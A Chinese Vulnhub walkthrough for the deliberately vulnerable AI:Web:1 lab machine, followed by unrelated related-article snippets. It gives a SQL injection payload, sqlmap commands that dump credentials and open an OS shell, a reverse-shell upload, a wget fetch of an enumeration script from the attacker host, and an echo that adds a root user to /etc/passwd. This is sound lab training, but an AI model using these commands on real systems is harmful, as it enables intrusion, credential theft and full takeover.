AI:WEB:1 Walkthrough
AI: Web: 1 Vulnhub Walkthrough
靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/
测试方法:
Nmap网络扫描
浏览网页
爆破目录
SQL注入获取凭证
SQL注入获取shell
可写/etc/passwd 提权
读取flag文件
靶机和攻击机处于统一网段下 所以就不用netdiscover扫描了
靶机IP:192.168.123.211
攻击机IP:192.168.123.30
主机发现:
ifconfig
nmap -sn 192.168.123.1/24
主机扫描:
nmap -A 192.168.123.211
发现只有一个80端口打开,用浏览器访问
主页上没有任何有用的信息
但是nmap扫到的robots.txt文件中有两个特别的目录
/m3diNf0/
/se3reTdir777/uploads/
浏览器打开
禁止访问,使用dirb爆破子目录
发现一个phpinfo页面
再爆破另外一个目录
没有有用的信息
接着爆破上级目录
发现了一个index.php
看到了输入框,先测试是否有sql注入
1' union select 1,2,database() #
观察URL可知 不是GET提交参数
所以先用BurpSuite抓包,然后上神器sqlmap
sqlmap -r AI-WEB1.txt --dbs --batch
数据库名为aiweb1
接下来查询库中的所有数据
sqlmap -r AI-WEB1.txt -D aiweb1 --dump-all –batch
password字段base64解码
Table: systemUser
[3 entries]
+----+-----------+----------------------------------------------+
| id | userName | password |
+----+-----------+----------------------------------------------+
| 1 | t00r | FakeUserPassw0rd |
| 2 | aiweb1pwn | MyEvilPass_f908sdaf9_sadfasf0sa |
| 3 | u3er | N0tThis0neAls0 |
+----+-----------+----------------------------------------------+
登录凭证拿到了 得想办法拿web shell
sqlmap -r AI-WEB1.txt --privileg --batch 查看mysql的权限
FILE权限 可以对服务器本地文件进行操作
尝试使用os_shell直接得到shell
PS:
使用OS_shell的条件
(1)具有file权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
第一点满足了,绝对路径可从info.php中找到
sqlmap -r AI-WEB1.txt -D aiweb1 --os-shell
为了接下来的提权,我们利用执行os_shell留下来的上传页面 上传php恶意脚本,反弹shell
php脚本中的IP改为攻击机的IP
c
上传
攻击机监听端口
访问恶意脚本
反弹shell成功 但这只是一个非交互式shell
我们利用python来模拟一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
注意 我们虽然有aiweb1pwn的密码 但是这个用户并不是root用户
所以还是得找其他方式提权
上传扫描脚本看靶机的配置是否有问题
攻击机开启一个web服务
python -m SimpleHTTPServer 8081
靶机下载脚本
cd /tmp
wget 192.168.123.30:8081/LinEnum.sh
给脚本执行权限
chmod 777 LinEnum.sh
./LinEnum.sh
查看脚本输出信息
发现passwd文件我们竟然能够修改
直接添加一个root用户
openssl passwd -1 -salt salt 1234
echo 'hack:$1$salt$kqNI5AJoJdN1WgWoNslBD0:0:0::/root:/bin/bash' >> /etc/passwd
tail /etc/passwd
添加成功,切换用户(hack:1234)
su hack
id
AI:WEB:1 Walkthrough的更多相关文章
- vulnhub AI: Web: 1
vulnhub AI: Web: 1 提取flag攻略 导入虚拟机,开机. 扫描NAT的C段,确定虚拟机IP和开放端口. 尝试访问该网站 发现什么都没有,抽根烟冷静一下...... 来波目录扫描吧 使 ...
- AI: Web: 1 Vulnhub Walkthrough
下载链接: https://www.vulnhub.com/entry/ai-web-1,353/ 主机发现扫描: 主机端口扫描 http://10.10.202.158/ 目录扫描: ╰─ sudo ...
- AI: Web: 2 Vulnhub Walkthrough
靶机下载链接: https://www.vulnhub.com/entry/ai-web-2,357 主机端口扫描: 尝试SQL注入,未发现有注入漏洞,就注册创建于一账户 http://10.10.2 ...
- 德州扑克AI WEB版
继续之前的德州扑克话题,上次的DOS界面确实没法看,我女朋友说这是什么鬼.哈哈,估计只有自己能玩了 这两天重构了一下界面,基于web服务器和浏览器来交互. 服务器和客户端之间用websocket通信, ...
- 使用 flask-restful 编写 自己的 ai web service
本项目在 win 平台采用 pycharm 编写, 技能与环境要求: python 基础, web 基础知识, python.exe = 3.6+ 算法>第四版,操作系统推荐<现代操作系统 ...
- AI Web 1.0
kali:192.168.0.103 目标机:192.168.0.105 0X01 端口和目录扫描 打开目标主页没有任何信息 a) 端口扫描 只有一个80端口开启 b) 目录扫描 0x03 查看敏感目 ...
- AI Web 2.0
kali: 192.168.0.103 目标机:192.168.0.105 0X01 扫描端口和目录 a)扫描端口 开启了80和22端口 b)扫描目录 看到两个敏感字样的目录 尝试访问/webadmi ...
- .NET Core迁移技巧之web.config配置文件
大家都知道.NET Core现在不再支持原来的web.config配置文件了,取而代之的是json或xml配置文件.官方推荐的项目配置方式是使用appsettings.json配置文件,这对现有一些重 ...
- .NET Core 2.0迁移技巧之web.config配置文件
大家都知道.NET Core现在不再支持原来的web.config配置文件了,取而代之的是json或xml配置文件.官方推荐的项目配置方式是使用appsettings.json配置文件,这对现有一些重 ...
随机推荐
- Celery详解(2)
除了redis,还可以使用另外一个神器----Celery.Celery是一个异步任务的调度工具. Celery是Distributed Task Queue,分布式任务队列,分布式决定了可以有多个w ...
- 莫烦TensorFlow_05 add_layer
import tensorflow as tf import numpy as np def add_layer(inputs, in_size, out_size, activation_funct ...
- Java8——Lambda表达式
/* * 一.Lambda 表达式的基础语法:Java8中引入了一个新的操作符 "->" 该操作符称为箭头操作符或 Lambda 操作符 * 箭头操作符将 Lambda 表达 ...
- keil mdk+stm32的ac5和 ac6两个编译器下的字节对齐操作方法
最近在使用ac6.9的编译器,编译速度是真的很快,使用stm32的hal库编译速度也比ac5的编译器快很多.本文试验stm32中字节对齐的代码测试,主要是结构体,因为结构体中实际项目中用到最多,同时在 ...
- USACO Cow Cars
洛谷 P2909 [USACO08OPEN]牛的车Cow Cars https://www.luogu.org/problemnew/show/P2909 JDOJ 2584: USACO 2008 ...
- linux的cpu使用率
linux 上一个核占满是 100%,双核机器占满整个 CPU 是 200%
- 洛谷 P3742 umi的函数
传送门 思路 \(loceaner\)已经蔡虚鲲到连红题都不会做了 因为有\(special\ judge\)所以我们就可以瞎搞了! 由题目可知,只要有一个\(y[i] > x[i]\)则一定没 ...
- shell编程题(七)
输出本机创建20000个目录所用的时间 #! /bin/bash time ( ..} ; do mkdir /tmp/nnn$i done ) 运行记得删除 rm -rf /tmp/nnn*
- GreenPlum 大数据平台--基础使用(二)
连接参数 连接参数 描述 环境变量 应用名称 连接到数据库的应用名称,保存在application_name连接参数中.默认值是psql. $PGAPPNAME 数据库名 用户想要连接的数据库名称.对 ...
- 微信JSSDK 扫描二维码
<?php require_once('wxjssdk.class.php'); $weixin = new class_weixin(); $signPackage = $weixin-> ...